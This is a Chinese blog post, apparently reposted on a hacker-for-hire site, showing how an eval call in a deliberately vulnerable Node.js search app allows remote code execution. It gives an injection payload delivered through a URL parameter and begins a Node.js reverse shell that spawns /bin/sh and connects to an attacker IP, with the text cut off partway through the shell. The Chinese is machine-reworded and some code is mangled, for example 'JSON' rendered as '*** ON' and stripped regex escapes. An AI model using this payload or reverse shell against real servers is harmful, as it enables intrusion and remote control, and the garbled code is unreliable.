Node.js使用的反向shell

访客5年前黑客工具708

布景介绍
一个小型Web开发者团队曾托付咱们对他们的移动使用进行安全评价,该使用的后端是一个REST API。该使用的架构很简单,只由3台linux服务器组成:
Node.js
MongoDB
Redis
首先在不触摸源码的情况下咱们对使用进行了一番测验,成果发现在一些接口假如接纳到了意外的数据就会导致后端程序溃散,咱们还发现redis在公网就能进行拜访,而且没有鉴权。
接下来咱们要做的便是审计Node.js API的代码,理清楚溃散的原因是什么。
简化缝隙的使用程序
咱们创立了一个简练的带有缝隙的Node.js使用,你也能够自己建立测验使用。
这个Node.js使用会监听用户的恳求,比方http://target.tld//?name=do*,获取到name参数的值后会查询对应匹配的动物称号。
'use strict'
const http = require('http');
const url = require('url');
const path = require('path');
 
const animals *** ON = path.join(__dirname, 'animals.json');
const animals = require(animals *** ON);
 
function requestHandler(req, res) {
    let urlParams = url.parse(req.url, true);
    let queryData = urlParams.query;
    res.writeHead(200, {"Content-Type": "application/json"});
 
    if (queryData.name) {
        let searchQuery = stringToRegexp(queryData.name);
        let animalsResult = getAnimals(searchQuery);
        res.end( *** ON.stringify(animalsResult));
    } else {
        res.end();
    }
}
 
function getAnimals(query) {
    let result = [];
 
    for (let animal of animals) {
        if (query.test(animal.name))
            result.push(animal);
    }
 
    return result;
}
 
function stringToRegexp(input) {
    let output = input.replace(/[[]^$.|?+()]/, "$&");
    let prefix, suffix;
 
    if (output[0] == '*') {
        prefix = '/';
        output = output.replace(/^*+/g, '');
    } else {
        prefix = '/^';
    }
 
    if (output[output.length - 1] == '*') {
        suffix = '/i';
        output = output.replace(/*+$/g, '');
    } else {
        suffix = '$/i';
    }
    output = output.replace(/[*]/, '.*');
 
    return eval(prefix + output + suffix);
}
 
const server = http.createServer(requestHandler);
server.listen(3000);
[
    {"name": "Dinosaur"},
    {"name": "Dog"},
    {"name": "Dogfish"},
    {"name": "Dolphin"},
    {"name": "Donkey"},
    {"name": "Dotterel"},
    {"name": "Dove"},
    {"name": "Dragonfly"},
    {"name": "Duck"}
]
缝隙
在对代码进行了几分钟的剖析后,咱们就发现了开发者一个很欠好的习气,这个坏习气将会导致长途指令履行。
stringToRegexp函数会创立出一个RegExp目标来对用户的输入数据进行检测,并使用这个正则表达式目标来搜索数组中的数据元素。
return eval(prefix + output + suffix); // we control output value
咱们能够在output这个变量中刺进恣意的Javascript代码而且履行。
stringToRegexp函数会过滤一些特别的字符而且对output变量进行检查。
["./;require('util').log('Owned');//*"]
拜访如下的链接将会在服务器终端打印一条信息
http://target.tld/?name=["./;require('util').log('Owned');//*"]
这样咱们就能够履行代码,然后获取到服务器的交互Shell(比方/bin/sh)。
Node.js反向Shell
如下的Javascript便是一个Node.js的反向衔接shell。
这个payload将会生成一个/bin/sh的shell,创立一个TCP衔接到攻击者的服务器,而且在通讯数据流中绑定shell指令。
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8080, "10.17.26.64", function(){

[1] [2]  黑客接单网

相关文章

Faraday:一款多功能协同式浸透测验东西&缝隙办理渠道

今日给咱们介绍的是一款名叫Fareday的东西,它是一款协同式多功能浸透测验及缝隙办理渠道。 新版本的Faraday引入了一个新的概念,即IPE(整合型浸透测验环境),也便是所谓的多用户浸透测验IDE...

怎么全面防护Webshell(上)?

 事实上,互联网上每时每刻都在上演着进犯和防护,本文将会要点的深化剖析一下其间一个非常重要的类型:webshell。 初识webshell 接下来将演示3种黑客是怎么用力浑身解数将webshell上传...

基于排序的SQL猜解问题-黑客接单平台

问题的发现 最近在对公司后台代码安全审计的过程中,发现了一种有意思的缝隙类型,一种依据排序的SQL猜解进犯问题,咱们且抽一段片段代码来看一下 "queryUsers" resultType="com....

三种对CORS错误配置的利用方法

同源战略(SOP)约束了应用程序之间的信息同享,而且仅答应在保管应用程序的域内同享。这有用避免了体系秘要信息的走漏。但与此一起,也带来了别的的问题。跟着Web应用程序和微服务运用的日益增长,出于有用意...

探究Flask/Jinja2中的服务端模版注入(一)

假如你还没听说过SSTI(服务端模版注入),或许对其还不够了解,在此之前主张咱们去阅览一下James Kettle写的一篇文章。 作为一名专业的安全从事人员,咱们的作业便是协助企业安排进行危险决议计划...

你的网站是怎样被黑的

前语 这个标题的来历是@evilcos(余弦大大)在Github上共享的一个PPT,感兴趣的能够去他的repo下载。写这篇博客主要是想给自己最近业余时间学到的安全相关的常识做个总结,主要是关于网站常见...